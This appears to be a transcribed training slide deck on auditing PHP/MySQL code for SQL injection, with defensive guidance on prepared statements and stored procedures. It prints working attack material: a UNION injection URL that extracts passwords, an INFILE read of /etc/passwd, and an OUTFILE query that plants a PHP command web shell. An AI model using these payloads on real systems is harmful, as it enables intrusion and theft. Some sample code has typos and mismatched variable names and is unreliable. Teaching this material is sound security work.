web-appsec-audit
Download
Report
Transcript web-appsec-audit
Information Security Training
Web Application
Code Auditing and SQL Injection
©Copyright Justin C. Klein Keane
<[email protected]>
Vulnerability Assessment
Assessments can vary in depth
Surface assessments
Full code audits
What are you looking for?
A vulnerability is not necessarily a design
flaw.
©Copyright Justin C. Klein Keane
<[email protected]>
Understanding Threats
Threat modeling is an important process
Not necessarily germane to vulnerability
assessment
Threat modeling deals with the “what” and
the “why” of security, vulnerability
assessment deals with the “how”
©Copyright Justin C. Klein Keane
<[email protected]>
Exploits
In the “gray hat” context, exploits are
synonymous with proof of concept
Why develop proof of concept?
Helps to gauge vulnerability severity
Test ease of exploitability
Helps model impact to develop remediation and
reaction strategies
Proof of concept is demonstrative only, not a
weaponized exploit
©Copyright Justin C. Klein Keane
<[email protected]>
Finding Vulnerability
White box testing
Gray box testing
Reading the code
Knowing the applications purpose, having
credentials, some code available, etc.
Black box testing
Penetration testing
Attacking the application from the outside
©Copyright Justin C. Klein Keane
<[email protected]>
Tools
Automated tools are useful in each testing
scenario
Help cut down on manual, repetitive tasks
Can produce a lot of false positives
Are really only useful when guided by a skilled
human
©Copyright Justin C. Klein Keane
<[email protected]>
Essential White Box Tools
PHP CLI for testing expressions and flow
Perl for automated code analysis and exploit
testing
IDE (Integrated Development Environment) for
syntax highlighting, easily tracing flow over
includes, and spotting dangerous functions
Eclipse with PHPEclipse and Remote System
Explorer (RSE) is ideal
©Copyright Justin C. Klein Keane
<[email protected]>
Essential Gray/Black Box Tools
Tools to manipulate user supplied input quickly and easily,
as well as for automated spider and mapping of target
Paros proxy for capturing interactions
Firefox Tamper Data plugin for on the fly data manipulation
http://www.parosproxy.org
https://addons.mozilla.org/en-US/firefox/addon/966
Firefox Web Developer plugin for presentation manipulation
(JavaScript, CSS, and Cookies)
https://addons.mozilla.org/en-US/firefox/addon/60
©Copyright Justin C. Klein Keane
<[email protected]>
Approach
Look for vulnerabilities methodically
Making a list of vulnerability classes is helpful
Start with one class, search the application for
all instances of that, then move to next
Start with easiest and move to most difficult
Some flaws will require a complete
understanding of intended program operation
so some testing involves simply familiarity
©Copyright Justin C. Klein Keane
<[email protected]>
Example – SQL Injection
SQL injection is an extremely common, and
dangerous web app vulnerability
Fortunately SQL injection is very easy to find
using white box testing
All SQL queries must pass through a PHP
function to reach the database
Isolate and examine all SQL queries to find
injection potential
©Copyright Justin C. Klein Keane
<[email protected]>
SQL Injection
Vulnerability whereby an attacker can
manipulate a SQL query string
SQL injection may not always be exploitable
SQL injection can be used for other attacks
(such as performing a stored cross site
scripting (XSS) attack)
©Copyright Justin C. Klein Keane
<[email protected]>
PHP & MySQL
PHP interacts with MySQL by setting up a
connection resource then passing queries
through
<?php
$conn = mysql_connect($server,$username,$password);
mysql_select_db($database);
$query_resource = mysql_query($sql_statement);
while ($row = mysql_fetch_row($query_resource)) {
echo $row[0];
echo $row[1];
}
msyql_close();
?>
©Copyright Justin C. Klein Keane
<[email protected]>
Side Note: Information Disclosure
Often times connection details are stored in
include files
Although not SQL injection, information
disclosure could occur
Connection credentials (username,
password, database) must be stored in an
Apache readable format
This generally means they're in plain text on the
file server
©Copyright Justin C. Klein Keane
<[email protected]>
Side Note: Information Disclosure
<?php
$link = mysql_connect('localhost', 'mysql_user',
'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
[rest of the page]
mysql_close($link);
?>
©Copyright Justin C. Klein Keane
<[email protected]>
Typical SQL Injection
Vulnerability
<?php
$id = $_GET['id'];
$sql = 'select * from table where id=' . $id;
?>
Application expects a URL in the form
http://sitename.tld/index.php?id=5
This is supposed to result in a SQL statement
such as:
select * from table where id=5
©Copyright Justin C. Klein Keane
<[email protected]>
Manipulating the query
What happens if an attacker calls the URL
http://site.tld/index.php?id=5 union select
username,password from user
The resulting query becomes:
select * from table where id=5 union select * from user
This could result in sensitive information
being rendered by the application
©Copyright Justin C. Klein Keane
<[email protected]>
User Supplied Input
ANY user supplied input can be used to
trigger a SQL injection
GET, POST, HTTP_REFERER, COOKIE,
RSS input, AJAX resources, etc.
Just because it's not easy for a user to
manipulate the supplied input does not mean
it is safe!
Using a proxy like Paros will allow most data
to be manipulated quite easily
©Copyright Justin C. Klein Keane
<[email protected]>
PHP Register Globals
Setting controlled in /etc/php.ini
http://us3.php.net/manual/en/ini.core.php#ini.register-globals
Should become extinct very soon
Allows all variables to be referred to without context
Makes $_GET['id'] the same as $id
Default behavior in PHP 3, many legacy
applications require it
Should be set to off!
©Copyright Justin C. Klein Keane
<[email protected]>
Dangers of Register Globals
Variable collision
Can allow malicious users to arbitrarily set or
reset critical variables
$_SERVER['DOCUMENT_ROOT']
Encourages haphazard coding
Leads to confusion when reading/reviewing
code
©Copyright Justin C. Klein Keane
<[email protected]>
Back to SQL Injection
SQL queries operate with the privileges of
the user account specified in the
mysql_connect() function.
If account was set up properly it should have
minimal permissions
Some configurations could use the MySQL
root account though, which has privileges of
the MySQL process
©Copyright Justin C. Klein Keane
<[email protected]>
Some SQL Injection Strategies
Expose sensitive data
Using JOIN or UNION in injection or simply
changing parameters
Inject malicious data
Manipulate INSERT or UPDATE
statements
Alter database content
Read or write operating system files
Using privilege normally reserved for root
©Copyright JustinMySQL
C. Klein Keane
Manipulate or expose
system
files
<[email protected]>
PHP and MySQL Quirks
In PHP and MySQL you cannot “stack”
queries
This means attackers only get one SQL
statement to work with
This makes exploiting PHP/MySQL SQL
injection a lot trickier than with other systems
Unfortunately automated tools make this a
much lower bar than it used to be
©Copyright Justin C. Klein Keane
<[email protected]>
Developing MySQL Injections
After you spot a SQL statement in PHP code
that you suspect is vulnerable:
Develop your exploit in MySQL command line
Much of the query is static, and it can be tricky to figure out a way
to alter the rest of the query
Use the most favorable environment you can, exploit
development is hard enough already!
Keep in mind that just because you can't develop an exploit,
doesn't mean vulnerability isn't exploitable!
Proof of concept need only demonstrate vulnerability.
©Copyright Justin C. Klein Keane
<[email protected]>
Advantages of MySQL CLI
Easy to develop and repeat queries
Good error output lets you know what went
wrong
Easy access to data and table definitions
Removes interference from the PHP application
layer
©Copyright Justin C. Klein Keane
<[email protected]>
Sample DB Target
Example tables:
mysql> desc content;
+-------+---------+------+-----+---------+----------------+
| Field | Type
| Null | Key | Default | Extra
|
+-------+---------+------+-----+---------+----------------+
| id
| int(11) | NO
| PRI | NULL
| auto_increment |
| data | text
| YES |
| NULL
|
|
+-------+---------+------+-----+---------+----------------+
2 rows in set (0.02 sec)
mysql> desc users;
+----------+-------------+------+-----+---------+----------------+
| Field
| Type
| Null | Key | Default | Extra
|
+----------+-------------+------+-----+---------+----------------+
| id
| int(11)
| NO
| PRI | NULL
| auto_increment |
| username | varchar(30) | YES |
| NULL
|
|
| password | varchar(30) | YES |
| NULL
|
|
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)
©Copyright Justin C. Klein Keane
<[email protected]>
JOIN Data
Joins must have a mapping value
mysql> select * from content STRAIGHT_JOIN users on content.id=users.id;
+----+------+----+----------+-----------+
| id | data | id | username | password |
+----+------+----+----------+-----------+
| 1 | foo | 1 | joe
| p455w0rd! |
+----+------+----+----------+-----------+
1 row in set (0.03 sec)
LEFT JOIN, RIGHT JOIN, INNER JOIN,
LEFT OUTER JOIN, STRAIGHT_JOIN
©Copyright Justin C. Klein Keane
<[email protected]>
UNION data
UNION is a popular injection trick
NB: Union must have the same number of
columns
mysql> select * from content where id=1 union select username,password from
users where id=1;
+------+-----------+
| id
| data
|
+------+-----------+
| 1
| foo
|
| joe | p455w0rd! |
+------+-----------+
2 rows in set (0.03 sec)
©Copyright Justin C. Klein Keane
<[email protected]>
PHP/MySQL Injection
Injection attacks are largely dependent on
the static portions of the query being
manipulated
Note injection points and static query data in
the following injectable statements:
select * from user where user_id = $id
update user set
username='$name',
password=md5($password)
where id = $id
©Copyright Justin C. Klein Keane
<[email protected]>
Compound Queries
Although you can't “stack” queries in
PHP/MySQL, you can issue compound
queries
Queries restrict what you can do
You can't alter the SQL prior to the injection point
You can comment out SQL after the injection
point
©Copyright Justin C. Klein Keane
<[email protected]>
INFILE and OUTFILE
Special that are usually only associated with
privileged accounts
Can read/write to the OS with the privileges
of the MySQL server
©Copyright Justin C. Klein Keane
<[email protected]>
INFILE Example
mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE content (data);
Query OK, 35 rows affected (0.00 sec)
Records: 35
Deleted: 0
Skipped: 0
Warnings: 0
mysql> select * from content;
+----+------------------------------------------------------------------------------+
| id | data
|
+----+------------------------------------------------------------------------------+
| 1 | foo
|
| 45 | mail:x:8:12:mail:/var/spool/mail:/bin/sh
|
| 44 | halt:x:7:0:halt:/sbin:/sbin/halt
|
| 43 | shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
|
[...]
| 71 | named:x:80:423:system user for bind:/var/lib/named:/bin/false
|
+----+------------------------------------------------------------------------------+
36 rows in set (0.00 sec)
©Copyright Justin C. Klein Keane
<[email protected]>
OUTFILE
Can be useful when query doesn't return
data directly
Can be used to write data to a web
accessible location
Can be used to write files that can later be
read with INFILE injections
Cannot be used to alter an existing file
©Copyright Justin C. Klein Keane
<[email protected]>
OUTFILE Nastiness
[jukeane@topsail ~]$ ls -latdr /var/www/html
drwxrwsrwx 36 apache jukeane 4096 2009-06-04 08:30 /var/www/html/
[jukeane@topsail ~]$ mysql -u root -p p
Enter password:
Welcome to the MySQL monitor.
Commands end with ; or \g.
mysql> select * from content into outfile '/var/www/html/passwd.txt';
Query OK, 36 rows affected (0.00 sec)
mysql> select '<?php echo system($_GET[\'cmd\']);?>' from dual into outfile
'/var/www/html/backdoor.php';
Query OK, 1 row affected (0.00 sec)
mysql> exit
Bye
©Copyright Justin C. Klein Keane
<[email protected]>
OUTFILE Nastiness Cont.
[jukeane@topsail ~]$ cat /var/www/html/backdoor.php
<?php echo system($_GET['cmd']);?>
[jukeane@topsail ~]$ cat /var/www/html/passwd.txt
1
foo
45 mail:x:8:12:mail:/var/spool/mail:/bin/sh
44 halt:x:7:0:halt:/sbin:/sbin/halt
©Copyright Justin C. Klein Keane
<[email protected]>
Useful Tips: Information Schema
Information Schema is a view to database
metadata
Can be used to enumerate database data
such as table names, column names and
column types
Only information for which the user has
privileges can be accessed
©Copyright Justin C. Klein Keane
<[email protected]>
Information Schema Example
mysql> select table_schema, table_name from information_schema.tables;
+--------------------+---------------------------------------+
| table_schema
| table_name
|
+--------------------+---------------------------------------+
| test_data
| blog
|
| test_data
| user
|
| test_data
| test
|
| test_data
| content
|
+--------------------+---------------------------------------+
©Copyright Justin C. Klein Keane
<[email protected]>
Blind SQL Injection
Term of art used to describe SQL injection
vulnerabilities that when exploited do not
provide directly visible results to the attacker
May simply result in an error
Could result in an update that may not be
apparent
Could result in a timing condition
etc.
©Copyright Justin C. Klein Keane
<[email protected]>
Preventing SQL Injection
PHP/MySQL has many strategies for
preventing SQL injection attacks
ALWAYS validate user supplied data
We'll see this theme recurring a lot
Create accounts with least privilege
necessary to carry out application
functionality
Limit application to one database, and limit
database data to one application!
©Copyright Justin C. Klein Keane
<[email protected]>
PHP Built In Functionality
PHP mysql_real_escape_string()
http://us2.php.net/mysql_real_escape_strin
g
Sanitizes variables for use in a query
$username = mysql_real_escape_string($_POST['username']);
$query = mysql_query(“update user set username = '$username'”);
Enforce variable type:
$query = mysql_query('select * from content where id=' . intval($_GET['id']);
addslashes() is not and effective way to
protect against SQL injection
©Copyright Justin C. Klein Keane
<[email protected]>
Libraries
Using third party libraries standardizes code
and frees developers from maintenance
PEAR MDB2
ADOdb
http://pear.php.net/package/MDB2
http://adodb.sourceforge.net/
Project specific libraries
If not used properly libraries can become
vulnerable to SQL injection
©Copyright Justin C. Klein Keane
<[email protected]>
Prepared Statements
(Bind Variables)
MySQLi (MySQL improved) connection
Effectively eliminates SQL injection
http://us.php.net/mysqli
MySQLi may not always be installed or
available
Example usage:
$conn = new mysqli("localhost", "user", "pass", "database");
$statement = $db_connection->prepare("SELECT * FROM content WHERE id = ?");
$statement->bind_param("i", $id);
$statement->execute();
©Copyright Justin C. Klein Keane
<[email protected]>
Stored Procedures
mysql> DELIMITER //
mysql> create procedure ret_content (
-> IN inid INT, OUT outdata varchar(255)
-> )
-> BEGIN
-> select data into outdata from content where id = inid;
-> END;//
Query OK, 0 rows affected (0.00 sec)
©Copyright Justin C. Klein Keane
<[email protected]>
Stored Procedures from PHP
<?php
$conn = mysql_connect('localhost', 'user', 'pass');
mysql_select_db('db');
mysql_query("call ret_content(1,@retval)") ;
$retval = mysql_query("select @retval");
while ($row = mysql_fetch_row($retval)) echo $row[0];
mysql_close();
?>
This is by far one of the safest approaches!
Combining stored procedures with application
accounts that only have access to execute stored
procedures is the best option for preventing SQL
injection
©Copyright Justin C. Klein Keane
<[email protected]>